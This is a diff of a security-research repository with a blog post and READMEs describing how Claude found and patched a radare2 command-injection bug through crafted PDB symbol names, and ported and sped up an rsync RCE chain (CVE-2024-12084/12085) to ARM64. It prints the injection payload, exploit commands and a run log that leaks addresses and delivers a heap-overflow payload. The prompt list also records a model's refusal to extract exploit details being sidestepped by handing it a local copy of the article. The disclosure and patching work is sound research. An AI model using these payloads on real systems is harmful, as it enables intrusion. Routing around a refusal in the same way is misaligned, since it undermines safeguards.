We are now in an era where AI can rapidly discover and exploit bugs in large, complex open-source projects. Constructing a valid PDB file would have taken me at least a few hours manually. Claude did it in under 30 minutes.
That said, finding bugs is the easy part. Claude just needs to identify a possible injection site, trace how to reach it, and develop a PoC it can verify and iterate on.
Patching is harder. It requires a much deeper understanding of the project, not just where the vulnerability occurs, but why the surrounding code is designed the way it is. In this case, Claude's first patch was technically correct but semantically wrong: it fixed the injection without understanding what `fN` was actually for. It took explicit pushback to get to a solution that was both safe and useful.
That dynamic is worth keeping in mind. AI-assisted vulnerability research compresses the timeline dramatically, but the human still has to understand the system well enough to know when a fix is incomplete. The bottleneck has shifted, from finding bugs to understanding them well enough to fix them properly.
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+244
View File
@@ -0,0 +1,244 @@
# MAD Bugs: Discovering a 0-Day in Zero Day
Heres how I used Claude to find and patch a radare2 0-day on my first day at Calif.
**Timeline:**
All times are in GMT+8 on 2026-04-06.
- **09:00 AM:** First day at Calif
- **10:18 AM:** Installed Claude Code
- **11:24 AM:** Discovered vulnerability
- **11:48 AM:** Generated RCE PoC
- **2:48 PM:** [Reported](https://github.com/radareorg/radare2/issues/25730) vulnerability
- **3:47 PM:** Opened [Fix PR](https://github.com/radareorg/radare2/pull/25731)
- **5:00 PM:** Merged PR
## The Target: radare2
[radare2](https://github.com/radareorg/radare2) (r2) is an open-source, CLI-based reverse engineering framework.
I decided to focus on reverse engineering tools for two reasons:
1. I actually use them. I even built an [r2-based CTF challenge](https://jro.sg/CTFs/TISC%202024%20-%20Imphash/) back in 2024.
2. Parsing and analyzing dozens of executable formats is hard. Historically, binary file parsing has been a rich source of bugs.
An unexpected bonus was the radare2 team's very public disclosure policy: security bugs are reported directly on GitHub Issues, just like any other bug. Combined with their rapid triage and patch turnaround, this made for one of the shortest bug-to-patch cycles I've ever experienced.
## Vulnerability Discovery: Prompt Commentary
Setup was simple: a fresh clone of radare2 from GitHub, and Claude Code running with `--dangerously-skip-permissions`. The model was Claude Opus 4.6 (1M context) with high effort.
Below, I'll walk through the prompts I used, explain the reasoning behind each one, and describe how Claude responded.
> **Me:** Users are reporting that they have experienced unplanned code execution when analyzing untrusted binaries with this project. Figure out how this has happened.
Previous [MAD Bugs](https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude) posts had success with an incident-response-style prompt, so I went with something similar here.
Claude came back with 5 bugs. They looked plausible, but all of them required non-standard configurations or explicit user approval. I followed up to narrow the scope:
> **Me:** The users are using default configuration with no projects. They did not perform any suspicious actions either. Assess for memory corruption bugs or other more complex vectors
This time, Claude reported 7 "Confirmed Exploitable Vectors," including 3 "Critical" heap and integer overflows. Naturally, I was skeptical, so I asked it to:
> **Me:** Develop a poc for the unpatched vulnerabilities. Determine if an attacker could have bypassed the patches for the known bugs
The second sentence referenced some recently patched N-days it had found in the Git history, which had been fixed by applying the `r_str_sanitize` function to sanitize untrusted input.
Claude struggled to prove, let alone exploit, the memory corruption vulnerabilities. It did appear to be making progress on a "heap leak" issue, though, so I gave it a nudge:
> **Me:** What if you built radare with asan to help with the exploit debugging
> **Me:** Assess the exploitability of the vulnerabilities. The attacker must be able to achieve full code execution just by the user loading a binary for analysis
Unfortunately, ASAN revealed that the "heap leak" was just a memory leak, not any kind of information disclosure bug:
```
==44349==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 48 byte(s) in 1 object(s) allocated from:
```
Time to reset expectations and point Claude toward a more promising direction:
> **Me:** Memory leak is not a vulnerability. Show a vulnerability with real impact, such as heap overflow. Also, dig deeper into r_str_sanitize and where it should be used but is missing. Explain the impact of those vulns
Claude tried hard to exploit various stack and heap buffer overflows, but failed to trigger a single ASAN crash. It had, however, developed a solid understanding of the command injection N-days, so I redirected:
> **Me:** Focus on command injection. Find another vulnerability.
Watching Claude's thoughts stream rapidly across my screen didn't inspire much confidence.
It seemed like we were running out of leads. Then this appeared:
```
Let me now look for the ONE remaining angle: the RAD-mode output that gets executed via . (dot) commands. Let me look for ".i" patterns in automatic loading:
```
Soon, we went from "it's over" to "we are so back":
```
Confirmed: line 1458 is the only RAD-mode cb_printf with an unsanitized binary-derived string. The vulnerability is clear:
...
Impact: Full code execution when a user opens a PE binary that has a crafted PDB file in the PDB search path. Default configuration, no user interaction beyond r2 binary.exe.
Fix: Sanitize name before interpolation at line 1458, using r_name_filter_dup() or r_str_sanitize().
```
This looked very plausible. I asked Claude to:
> **Me:** Generate a test .exe and .pdb file. Prove that the vulnerability is real and exploitable
To do this, Claude had to construct a valid [PDB file](https://en.wikipedia.org/wiki/Program_database) containing a malicious symbol name. PDB is a relatively complex binary format, so this took some time.
At this point, I was fairly confident we were in the home stretch. I offered one last hint:
> **Me:** Can you use any libraries to build the pdb? Maybe that will be easier
But Claude didn't need it. Shortly after, we had the proof:
```
Arbitrary shell command execution confirmed. A crafted debug.pdb file alongside a PE binary causes !echo PWNED>/tmp/r2_poc_output to execute when the user runs idp in radare2. The output file /tmp/r2_poc_output contains PWNED.
```
One final prompt to wrap things up:
> **Me:** Great job! Now, generate a report for this vulnerability. Also create a poc.py, which takes --cmd and generates the target.exe and .pdb file that executes the given command
Total context used was 352.4k/1M tokens.
## Vulnerability Analysis
PDB files contain symbols: mappings between function names and their addresses. Knowing where functions live is incredibly helpful for malware analysis, so r2 has several commands that parse and display this information.
There's the [`idpi`](https://github.com/radareorg/radare2/blob/25edd02/libr/bin/format/pdb/pdb.c#L1463) command, which prints the symbols available:
```
[0x140001000]> idpi
0x140001000 0 .text my_cool_function
```
And there's `idpi*`, which prints the r2 commands needed to convert symbol information into flags — essentially labels for addresses in r2.
```
[0x140001000]> idpi*
f pdb.my_cool_function = 0x140001000 # 0 .text
"fN pdb.my_cool_function my_cool_function"
```
The `f` command creates a flag (an offset-name mapping) at an address, and `fN` sets its "real name" — the original, unsanitized display name stored separately from the flag's identifier.
Finally, there's [`idp`](https://github.com/radareorg/radare2/blob/25edd02/libr/core/cmd_info.inc.c#L1886), which is actually an alias for `.idpi*`. The dot prefix means "run this command, then execute the output".
You can probably see where this is going, so let's just jump right into the [implementation](https://github.com/radareorg/radare2/blob/25edd02/libr/bin/format/pdb/pdb.c#L1452-L1458) of the `idpi*` command:
```c
// pdb.c:1451 filtered_name is sanitized via r_name_filter_dup()
filtered_name = r_name_filter_dup (r_str_trim_head_ro (name));
// pdb.c:1452 safe: filtered_name in flag creation
pdb->cb_printf ("f pdb.%s = 0x%" PFMT64x " # %d %.*s\n", filtered_name, ...);
// pdb.c:1458 VULNERABLE: raw `name` from PDB binary data, NOT sanitized
pdb->cb_printf ("\"fN pdb.%s %s\"\n", filtered_name, name);
```
By crafting a PDB with a function name like `x" ;!open -a Calculator #"`, we can break out of the double-quoted command and inject arbitrary r2 commands. Since r2 supports executing system commands, RCE follows trivially.
```
[0x140001000]> idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
"fN pdb.x____open__a_Calculator_ x" ;!open -a Calculator #"
```
## PoC
Video: http://youtube.com/watch?v=mmc7A__J_hY
Code: [poc.py](poc.py)
## Patch Development: Prompt Commentary
In a fresh Claude Code session, I started off with:
> **Me:** Read the poc and report. Determine when the bug was introduced and produce a patch commit, along with tests that prevent a regression of this bug
The first patch Claude generated fixed the vulnerability, but it broke functionality as well:
```diff
- pdb->cb_printf ("\"fN pdb.%s %s\"\n", filtered_name, name);
+ char *safe_name = r_name_filter_dup (name);
+ pdb->cb_printf ("\"fN pdb.%s %s\"\n", filtered_name, safe_name);
+ free (safe_name);
```
With that patch applied, the output of `idpi*` would be:
```
[0x140001000]> idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
"fN pdb.x____open__a_Calculator_ x____open__a_Calculator_"
```
However, this also strips special characters from legitimate function names, such as `std::ostream::operator<<(std::ostream& (*)(std::ostream&))`:
```
[0x140001440]> idpi*
f pdb.std::ostream::operator___std::ostream____std::ostream__ = 0x1400014c0 # 0 .text
"fN pdb.std::ostream::operator___std::ostream____std::ostream__ std::ostream::operator___std::ostream____std::ostream__"
```
Thus, I got Claude to reconsider:
> **Me:** What is the intent of the fN command and does the fix affect its intend behavior?
> **Me:** This is a critical problem. if we sanitize the real name, then this is useless. How can we properly address it?
Claude came back with a clean solution: base64-encode the raw name before interpolation.
```
Here's what I found. There are two viable approaches:
Option 1: Add base64: support to fN (matches existing pattern)
The flag system already uses base64 in several places:
- fC (flag comment) accepts base64: prefix and decodes it at
cmd_flag.inc.c:2085
- fu serializes realname as base64 at line 1536, and decodes it back at line
1517
But fN itself (line 2163) does not support the base64: prefix — it takes the
raw string directly via strchr(name, ' ') and passes it straight to
r_flag_item_set_realname.
The fix would be two-sided:
1. Emit side (print_gvars): base64-encode the raw name
2. Receive side (fN handler): detect and decode base64: prefix
This is the cleanest approach because it completely avoids the parsing problem
— base64 output contains only [A-Za-z0-9+/=], which has zero overlap with r2
metacharacters.
```
Satisfied with the approach, I opened a [PR with Claude's changes](https://github.com/radareorg/radare2/pull/25731) and waited for the maintainers to respond.
## Resolution
About an hour later, a maintainer pointed out that the vulnerability could be fixed more simply — by prefixing the `fN` command with a single quote (`'`), which disables special character processing in r2.
```
# Safe - no calc popped
'fN pdb.x____open__a_Calculator_ x;!open -a Calculator #
```
Nonetheless, they recognized it as a real and critical vulnerability, and agreed that the base64 prefix was a worthwhile addition.
The PR was [merged](https://github.com/radareorg/radare2/commit/0e38152560e689327a74d2944fa45ba7afd4cb33), and string sanitization was [further enhanced](https://github.com/radareorg/radare2/commit/253587680e000266e94cbf98c27a17ada4cd29e9) in a follow-up commit — likely part of a broader effort to address the spate of recent command injection vulnerabilities.
## Conclusion
We are now in an era where AI can rapidly discover and exploit bugs in large, complex open-source projects. Constructing a valid PDB file would have taken me at least a few hours manually. Claude did it in under 30 minutes.
That said, finding bugs is the easy part. Claude just needs to identify a possible injection site, trace how to reach it, and develop a PoC it can verify and iterate on.
Patching is harder. It requires a much deeper understanding of the project, not just where the vulnerability occurs, but why the surrounding code is designed the way it is. In this case, Claude's first patch was technically correct but semantically wrong: it fixed the injection without understanding what `fN` was actually for. It took explicit pushback to get to a solution that was both safe and useful.
That dynamic is worth keeping in mind. AI-assisted vulnerability research compresses the timeline dramatically, but the human still has to understand the system well enough to know when a fix is incomplete. The bottleneck has shifted, from finding bugs to understanding them well enough to fix them properly.
+14 -304
View File
@@ -1,308 +1,18 @@
# Feeding Claude Phrack Articles for Fun and Profit: Desync the Planet
tl;dr: A teammate gave Claude a Phrack article. It built a working
rsync RCE on x86-64. He shared the generated exploit with me but forgot
one file, and I needed it on ARM64 anyway. I gave Claude one prompt:
*reproduce this*. Ninety minutes later it dropped a working exploit. I
told it the exploit was slow (5 minutes); it made it 20x faster. We also
asked it to audit the patched rsync, and it came back with new bugs.
Reproducing — and extending — the Phrack 72 *Desync the Planet* rsync RCE chain (CVE-2024-12085 + CVE-2024-12084) with Claude.
## How this started
Our new favourite pastime is feeding Claude Phrack articles and seeing
what comes back. This time it was [Phrack 72's *"Desync the Planet"*](https://phrack.org/issues/72/11_md),
which describes chaining CVE-2024-12085 (stack info leak) into
CVE-2024-12084 (heap overflow) for unauthenticated RCE against
`rsync --daemon`. A teammate handed Claude the article; it built a
working exploit on x86-64. The full session is in
[`writeup.md`](writeup.md), prompts and all: where Claude tried adding
`fprintf` to `sender.c` and got told "why are you modifying the rsync
source?", where it was redirected to GDB, where it was told to actually
read the article instead of guessing at the layout.
He shared [`exploit.py`](exploit.py) with me. Two problems:
1. **It imported `rsync_lib`, which wasn't in the repo.** He just forgot
to share it. Claude had generated this custom protocol library to
handle all the heavy lifting: daemon handshake, multiplexed I/O,
file list parsing, the deflate-token oracle.
2. **It was tuned for x86-64.** Hardcoded binary offsets, an info-leak
target at a stack offset that doesn't exist on ARM64, a `.bss` payload
layout that assumes a memory map that doesn't match the ARM64 build.
I wanted to run it on a Debian 12 ARM64 box. So I handed both files (the
writeup and the broken exploit) to Claude:
> **Read the WriteUp and reproduce this exploit with exploit.py**
That was the only prompt. Everything below came out of that single
instruction with no further steering from me.
## What Claude figured out
**No `rsync_lib.py`.** Claude opened the rsync 3.2.7 source (`io.c`,
`flist.c`, `compat.c`, `sender.c`, `token.c`) and built the protocol
library from scratch. The first attempt timed out at `setup_protocol`.
So it spun up a Python proxy, pointed the *real* rsync client through it
at the daemon, and diffed the wire bytes against what its own library
was sending. Three things the source doesn't make obvious: daemon args
are `\0`-terminated (not `\n`), checksum negotiation is *both sides
write, then both sides read* (not request-response), and the post-setup
`write_line` calls were bypassing the multiplex layer. The server was
reading the `"ZZZZ..."` filter pattern as a multiplex header and
returning `unexpected tag 83` (83 + `MPLEX_BASE` = 90 = `'Z'`).
**No GDB.** The container had no `gdb`, no `strace`, no root. Claude
built substitutes: an `LD_PRELOAD` `memcmp` hook to capture the
uninitialized `sum2` buffer at the moment of comparison, and a 200-line
ptrace crash-catcher that attached to the forked rsync child, caught
the SIGSEGV, and dumped registers plus the entire payload region from
`/proc/PID/mem`. The memcmp hook showed the leak target had moved from
`sum2+8` on x86-64 to `sum2+24` on ARM64 (a saved LR pointing into
`start_server`, three frames up).
**The trickiest bug.** The crash dump showed `shell_exec` had been
called: `algctx` was zeroed by OpenSSL's `str xzr, [x19, #56]` after
`freectx` returned, not before. Claude set a `BRK #0` breakpoint at
`shell_exec`'s entry, caught the trap, printed `X0` (the cmd pointer),
and followed `PTRACE_O_TRACEFORK`. The breakpoint hit, the pointer was
correct, and a fork was observed, but the proof file was never created.
Reading the command string back from memory at that point gave
`"touch /t"`, truncated at 8 bytes.
The ARM64 build's `.bss` layout puts `last_match` at `ctx_evp+0x110`.
`match_sums` zeroes it before calling `sum_init`, which overwrites
bytes 8-15 of the command string at `+0x108`. `system("touch /t")`
tried to write to `/` and failed silently. Claude moved the command to
`+0x58` (inside the `ctx_md` union, which the OpenSSL path never
touches), which fixed it.
Five issues total, all found and fixed without ever attaching a real
debugger:
| # | What broke | How Claude found it |
|---|---|---|
| A1 | Leak target at `sum2+24`, not `+8` | LD_PRELOAD memcmp hook |
| A2 | `count=3277` destabilizes the stack | Per-connection probe across 5 runs |
| A3 | Command truncated at byte 8 | ptrace bp on `shell_exec` + `match_sums` disasm |
| A4 | ARM64 glibc 2.36 still wants ONE filter | `malloc_usable_size` test |
| A5 | Three protocol mismatches in `rsync_lib` | socat wire capture vs. real client |
## Timeline
About **90 minutes** from a cold container to the first proof file. Claude
reconstructed this from daemon log timestamps and file mtimes:
| Elapsed | Milestone |
|--------:|---|
| 0:00 | First daemon banner. `rsync_lib` doesn't exist yet. |
| 0:30 | Protocol library working: file list parsed, download verified. Three wire-format bugs fixed along the way. |
| 0:37 | Info-leak oracle confirmed: `token=-1` means MATCH. The `memcmp` hook found the LR at `sum2+24`. |
| 0:59 | Heap overflow lands. Server child crashes silently, proof the write hit `.bss`. |
| 1:29 | ptrace breakpoint on `shell_exec`: hit, `X0` correct, fork observed. Still no proof file. |
| **1:34** | **First `/tmp/rce_proof.txt`.** Bug A3: `last_match = 0` was zeroing `cmd[8:16]`. Moved cmd to `+0x58`. |
The split was roughly even: a third building the protocol library, a
third finding the ARM64 leak target, a third figuring out why
`shell_exec` ran but the file never appeared.
## "It works but it's slow"
First successful run: about five minutes. The leak now needs 24 bytes
(not 8), at ~128 connections per byte, ~120ms per connection.
I told Claude:
> **Your exploit now takes 5 minutes to run, probably because of the
> brute-forcing in first step. Make it faster.**
Claude came back with two stacked changes. First, a hint table: it had
noticed during the leak debugging that 18 of those 24 bytes are
structural constants on ARM64. User-space addresses are
`0x0000_aaaa_xxxx_xxxx` for the binary, `0x0000_ffff_xxxx_xxxx` for the
stack. The page-offset bits of the leaked pointer are exactly the
page-offset bits of `LEAK_OFFSET` (the base is page-aligned). It encoded
those as first-try hints, one connection each. Second, for the ~6 truly
random bytes, it wrapped the probe in `ThreadPoolExecutor(16)` to
dispatch all 256 guesses concurrently and take the first match.
The exploit now takes 14 seconds:
```bash
mkdir -p /tmp/rsync_test_module
echo "hello world" > /tmp/rsync_test_module/foo.txt
echo "test data here" > /tmp/rsync_test_module/bar.txt
cp rsyncd_test.conf /tmp/
/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000 --address=127.0.0.1
time python3 exploit.py "rsync://127.0.0.1:12000/files" "id > /tmp/rce_proof.txt"
[*] Phase 1: info leak | file=bar.txt size=15
sum2[8] = 0x00 (1 total connections)
sum2[9] = 0x00 (2 total connections)
sum2[10] = 0x00 (3 total connections)
sum2[11] = 0x00 (4 total connections)
sum2[12] = 0xab (260 total connections)
sum2[13] = 0xaa (261 total connections)
sum2[14] = 0x00 (262 total connections)
sum2[15] = 0x00 (263 total connections)
sum2[16] = 0x00 (519 total connections)
sum2[17] = 0x7a (775 total connections)
sum2[18] = 0xde (1031 total connections)
sum2[19] = 0xee (1287 total connections)
sum2[20] = 0xff (1288 total connections)
sum2[21] = 0xff (1289 total connections)
sum2[22] = 0x00 (1290 total connections)
sum2[23] = 0x00 (1291 total connections)
sum2[24] = 0xc4 (1292 total connections)
sum2[25] = 0xae (1293 total connections)
sum2[26] = 0xdc (1549 total connections)
sum2[27] = 0xd2 (1805 total connections)
sum2[28] = 0xaa (1806 total connections)
sum2[29] = 0xaa (1807 total connections)
sum2[30] = 0x00 (1808 total connections)
sum2[31] = 0x00 (1809 total connections)
[+] Leaked .text ptr : 0xaaaad2dcaec4
[+] Binary base : 0xaaaad2da0000
[*] Phase 2: heap overflow → RCE
shell_exec = 0xaaaad2dca120
ctx_evp = 0xaaaad2e54fb0
payload = 344 bytes at &ctx_evp
fake_ctx = 0xaaaad2e54fb8 (+8)
fake_evpmd = 0xaaaad2e55050 (+160)
cmd_addr = 0xaaaad2e55008 (+88)
target ndx=1 file=bar.txt
sending payload (344 bytes) to &ctx_evp...
overflow complete, consuming server output...
server connection ended: connection closed
[+] Payload delivered.
real 0m14.383s
user 0m0.674s
sys 0m1.609s
cat /tmp/rce_proof.txt
```
## The audit
Before any of this, the same teammate had asked Claude to audit the
patched rsync:
> **now that you have a good grasp of this vulnerability and exploitation
> can you audit the latest rsync for variants that may allow exploitation**
Claude went file-by-file through all 48 `.c` source files in 3.4.1 (the
version with all CVEs fixed). We're verifying the findings now and
preparing reports.
## Every prompt, both sessions
Prompts 1-12 are the original x86-64 session (the teammate driving);
13-17 are the ARM64 port (me driving).
1. *Initial request* — Asked to exploit rsync CVE-2024-12084 (heap
overflow) + CVE-2024-12085 (info leak) into a full RCE chain against
rsync 3.2.7 daemon, following the Phrack 72 "Desync the Planet"
article.
2. **"why are you modifying the rsync source?"** — I had been adding
`fprintf` debug statements to sender.c and recompiling. The user
correctly pointed out this shifts binary offsets (ctx_evp, shell_exec,
etc.) and invalidates the exploit constants.
3. **"you should be using gdb .."** — Redirected from printf-debugging
to GDB. Led to the attach-to-daemon workflow with
`set follow-fork-mode child` that proved essential for every
subsequent debugging step.
4. **"what sandbox"** — I had confused /tmp file isolation with
sandboxing. Clarified the environment.
5. **"if you need root the password is x ?"** — Provided root credentials
to fix `ptrace_scope` (was set to 1, blocking GDB attach). We ran
`echo 0 > /proc/sys/kernel/yama/ptrace_scope`.
6. **"are you following the phrack exploitation? it outlines it pretty
clear"** — Critical redirect. I had been inventing a multi-entry
layout trying to align 40-byte sum_buf strides with 48-byte EVP_MD_CTX
field offsets. The Phrack one-shot contiguous write approach is far
simpler and more reliable.
7. **"read the phrack exploit - they use the info leak + heap overflow
to get a reliable exploit."** — Prompted me to actually read the
full Phrack article rather than working from partial understanding.
8. **"the writeup is in /tmp/rsync.txt"** — Pointed to the local copy of
the Phrack article. Saved time vs trying to web-fetch it (the
WebFetch AI model refused to extract exploit details).
9. **"if you need to setup a qemu with the exact debian + rsync used
that is fine"** — Offered to set up the exact Debian 12 target
environment. We didn't end up needing this because we adapted the
exploit to our Ubuntu 22.04 system, but this would be the fastest
path for exact reproduction of the Phrack PoC.
10. **"perfect it seems to work!! can you document your whole process +
my prompts in a writeup! include how to get it working on other
installations etc and debugging instructions."** — Led to this
writeup document.
11. **"now that you have a good grasp of this vulnerability and
exploitation can you audit the latest rsync for variants that may
allow exploitation"** — Led to the security audit of rsync 3.4.1
documented in the appendix.
12. **"the WRITEUP didnt include all of my prompts"** — This correction,
leading to this expanded prompt section.
### ARM64 port session
13. **"Read the WriteUp and reproduce this exploit with exploit.py"** —
Initial port request. Environment turned out to be Debian 12 / arm64
/ glibc 2.36 — different OS, different glibc, different *architecture*
from the writeup. No GDB, no strace, no root. Five distinct
arm64-specific bugs were found and fixed (§3a). `rsync_lib.py` was
built from scratch by reading the rsync 3.2.7 source — a socat wire
capture of the real client revealed args use `\0` not `\n`, checksum
negotiation is bidirectional, and `write_line` was bypassing the
multiplex layer (server: "unexpected tag 83" = `'Z' - MPLEX_BASE`).
The trickiest bug: `shell_exec` *did* fire and *did* fork, but
`match_sums` zeroes `last_match` at `ctx_evp+0x110` before `sum_init`,
truncating the command string at byte 8. Diagnosed with a ptrace
breakpoint on `shell_exec` that printed `X0` and followed
`PTRACE_O_TRACEFORK` — the fork happened, the cmd pointer was right,
but the string read back as `"touch /t"`. Moved the command to
`+0x58` (inside the unused `ctx_md` struct).
14. **"continue"** — Permission re-grant after a tool-use rejection during
the initial daemon startup. Resumed without issue.
15. **"Alright, add to the writeup your adaptions"** — Wrote §3a
documenting all five arm64 bugs (A1-A5), the GDB-free debugging
methodology (LD_PRELOAD probes, ptrace crash-catcher, pattern-payload
survival test), and the working run output.
16. **"Your exploit now takes 5 minutes to run, probably because of the
brute-forcing in first step. Make it faster."** — Two stacked fixes:
a hint table (18/24 bytes are structural constants on arm64 — `0x00`
canonical bits, `0xaa`/`0xff` region prefixes, `LEAK_OFFSET` page-
offset bits) and a `ThreadPoolExecutor(16)` for the truly random
bytes. 5 minutes → 14 seconds.
17. **"Add to the writeup the ARM64 environment, and a note about
speeding up, including a sample run [...] Also update the user
prompts with the prompts/responses so far"** — Added the arm64
environment table to §0, the speedup section + timed run to §3a,
and these five entries to §7.
## Files
| File | What it is |
| File | What |
|---|---|
| `exploit.py` | Original x86-64 exploit (Ubuntu 22.04 / glibc 2.35) |
| `rsync_lib.py` | Original protocol library (now recovered and included so the writeup is complete) |
| `writeup.md` | Original development log: Phrack approach, x86-64 debugging |
| `exploit2.py` | ARM64 port (Debian 12 / glibc 2.36): 24-byte leak, relocated payload, parallel oracle |
| `rsync_lib2.py` | Protocol library Claude rebuilt from rsync 3.2.7 source when the original was missing |
| `writeup2.md` | ARM64 port log; section 3a covers all five issues and the GDB-free methodology |
| `rsyncd_test.conf` | Minimal daemon config: one read-only module, no chroot |
| `README.md` | This file |
| [`blog.md`](blog.md) | Blog post (written by humans) |
| [`writeup.md`](writeup.md) | Technical write-up of the x86-64 build |
| [`writeup2.md`](writeup2.md) | Technical write-up of the ARM64 port and audit follow-up |
| [`exploit.py`](exploit.py) | x86-64 exploit |
| [`exploit2.py`](exploit2.py) | ARM64 exploit |
| [`rsync_lib.py`](rsync_lib.py) | Custom rsync protocol library used by `exploit.py` |
| [`rsync_lib2.py`](rsync_lib2.py) | Variant used by `exploit2.py` |
| [`rsyncd_test.conf`](rsyncd_test.conf) | Test daemon config |
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+308
View File
@@ -0,0 +1,308 @@
# Feeding Claude Phrack Articles for Fun and Profit: Desync the Planet
tl;dr: A teammate gave Claude a Phrack article. It built a working
rsync RCE on x86-64. He shared the generated exploit with me but forgot
one file, and I needed it on ARM64 anyway. I gave Claude one prompt:
*reproduce this*. Ninety minutes later it dropped a working exploit. I
told it the exploit was slow (5 minutes); it made it 20x faster. We also
asked it to audit the patched rsync, and it came back with new bugs.
## How this started
Our new favourite pastime is feeding Claude Phrack articles and seeing
what comes back. This time it was [Phrack 72's *"Desync the Planet"*](https://phrack.org/issues/72/11_md),
which describes chaining CVE-2024-12085 (stack info leak) into
CVE-2024-12084 (heap overflow) for unauthenticated RCE against
`rsync --daemon`. A teammate handed Claude the article; it built a
working exploit on x86-64. The full session is in
[`writeup.md`](writeup.md), prompts and all: where Claude tried adding
`fprintf` to `sender.c` and got told "why are you modifying the rsync
source?", where it was redirected to GDB, where it was told to actually
read the article instead of guessing at the layout.
He shared [`exploit.py`](exploit.py) with me. Two problems:
1. **It imported `rsync_lib`, which wasn't in the repo.** He just forgot
to share it. Claude had generated this custom protocol library to
handle all the heavy lifting: daemon handshake, multiplexed I/O,
file list parsing, the deflate-token oracle.
2. **It was tuned for x86-64.** Hardcoded binary offsets, an info-leak
target at a stack offset that doesn't exist on ARM64, a `.bss` payload
layout that assumes a memory map that doesn't match the ARM64 build.
I wanted to run it on a Debian 12 ARM64 box. So I handed both files (the
writeup and the broken exploit) to Claude:
> **Read the WriteUp and reproduce this exploit with exploit.py**
That was the only prompt. Everything below came out of that single
instruction with no further steering from me.
## What Claude figured out
**No `rsync_lib.py`.** Claude opened the rsync 3.2.7 source (`io.c`,
`flist.c`, `compat.c`, `sender.c`, `token.c`) and built the protocol
library from scratch. The first attempt timed out at `setup_protocol`.
So it spun up a Python proxy, pointed the *real* rsync client through it
at the daemon, and diffed the wire bytes against what its own library
was sending. Three things the source doesn't make obvious: daemon args
are `\0`-terminated (not `\n`), checksum negotiation is *both sides
write, then both sides read* (not request-response), and the post-setup
`write_line` calls were bypassing the multiplex layer. The server was
reading the `"ZZZZ..."` filter pattern as a multiplex header and
returning `unexpected tag 83` (83 + `MPLEX_BASE` = 90 = `'Z'`).
**No GDB.** The container had no `gdb`, no `strace`, no root. Claude
built substitutes: an `LD_PRELOAD` `memcmp` hook to capture the
uninitialized `sum2` buffer at the moment of comparison, and a 200-line
ptrace crash-catcher that attached to the forked rsync child, caught
the SIGSEGV, and dumped registers plus the entire payload region from
`/proc/PID/mem`. The memcmp hook showed the leak target had moved from
`sum2+8` on x86-64 to `sum2+24` on ARM64 (a saved LR pointing into
`start_server`, three frames up).
**The trickiest bug.** The crash dump showed `shell_exec` had been
called: `algctx` was zeroed by OpenSSL's `str xzr, [x19, #56]` after
`freectx` returned, not before. Claude set a `BRK #0` breakpoint at
`shell_exec`'s entry, caught the trap, printed `X0` (the cmd pointer),
and followed `PTRACE_O_TRACEFORK`. The breakpoint hit, the pointer was
correct, and a fork was observed, but the proof file was never created.
Reading the command string back from memory at that point gave
`"touch /t"`, truncated at 8 bytes.
The ARM64 build's `.bss` layout puts `last_match` at `ctx_evp+0x110`.
`match_sums` zeroes it before calling `sum_init`, which overwrites
bytes 8-15 of the command string at `+0x108`. `system("touch /t")`
tried to write to `/` and failed silently. Claude moved the command to
`+0x58` (inside the `ctx_md` union, which the OpenSSL path never
touches), which fixed it.
Five issues total, all found and fixed without ever attaching a real
debugger:
| # | What broke | How Claude found it |
|---|---|---|
| A1 | Leak target at `sum2+24`, not `+8` | LD_PRELOAD memcmp hook |
| A2 | `count=3277` destabilizes the stack | Per-connection probe across 5 runs |
| A3 | Command truncated at byte 8 | ptrace bp on `shell_exec` + `match_sums` disasm |
| A4 | ARM64 glibc 2.36 still wants ONE filter | `malloc_usable_size` test |
| A5 | Three protocol mismatches in `rsync_lib` | socat wire capture vs. real client |
## Timeline
About **90 minutes** from a cold container to the first proof file. Claude
reconstructed this from daemon log timestamps and file mtimes:
| Elapsed | Milestone |
|--------:|---|
| 0:00 | First daemon banner. `rsync_lib` doesn't exist yet. |
| 0:30 | Protocol library working: file list parsed, download verified. Three wire-format bugs fixed along the way. |
| 0:37 | Info-leak oracle confirmed: `token=-1` means MATCH. The `memcmp` hook found the LR at `sum2+24`. |
| 0:59 | Heap overflow lands. Server child crashes silently, proof the write hit `.bss`. |
| 1:29 | ptrace breakpoint on `shell_exec`: hit, `X0` correct, fork observed. Still no proof file. |
| **1:34** | **First `/tmp/rce_proof.txt`.** Bug A3: `last_match = 0` was zeroing `cmd[8:16]`. Moved cmd to `+0x58`. |
The split was roughly even: a third building the protocol library, a
third finding the ARM64 leak target, a third figuring out why
`shell_exec` ran but the file never appeared.
## "It works but it's slow"
First successful run: about five minutes. The leak now needs 24 bytes
(not 8), at ~128 connections per byte, ~120ms per connection.
I told Claude:
> **Your exploit now takes 5 minutes to run, probably because of the
> brute-forcing in first step. Make it faster.**
Claude came back with two stacked changes. First, a hint table: it had
noticed during the leak debugging that 18 of those 24 bytes are
structural constants on ARM64. User-space addresses are
`0x0000_aaaa_xxxx_xxxx` for the binary, `0x0000_ffff_xxxx_xxxx` for the
stack. The page-offset bits of the leaked pointer are exactly the
page-offset bits of `LEAK_OFFSET` (the base is page-aligned). It encoded
those as first-try hints, one connection each. Second, for the ~6 truly
random bytes, it wrapped the probe in `ThreadPoolExecutor(16)` to
dispatch all 256 guesses concurrently and take the first match.
The exploit now takes 14 seconds:
```bash
mkdir -p /tmp/rsync_test_module
echo "hello world" > /tmp/rsync_test_module/foo.txt
echo "test data here" > /tmp/rsync_test_module/bar.txt
cp rsyncd_test.conf /tmp/
/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000 --address=127.0.0.1
time python3 exploit.py "rsync://127.0.0.1:12000/files" "id > /tmp/rce_proof.txt"
[*] Phase 1: info leak | file=bar.txt size=15
sum2[8] = 0x00 (1 total connections)
sum2[9] = 0x00 (2 total connections)
sum2[10] = 0x00 (3 total connections)
sum2[11] = 0x00 (4 total connections)
sum2[12] = 0xab (260 total connections)
sum2[13] = 0xaa (261 total connections)
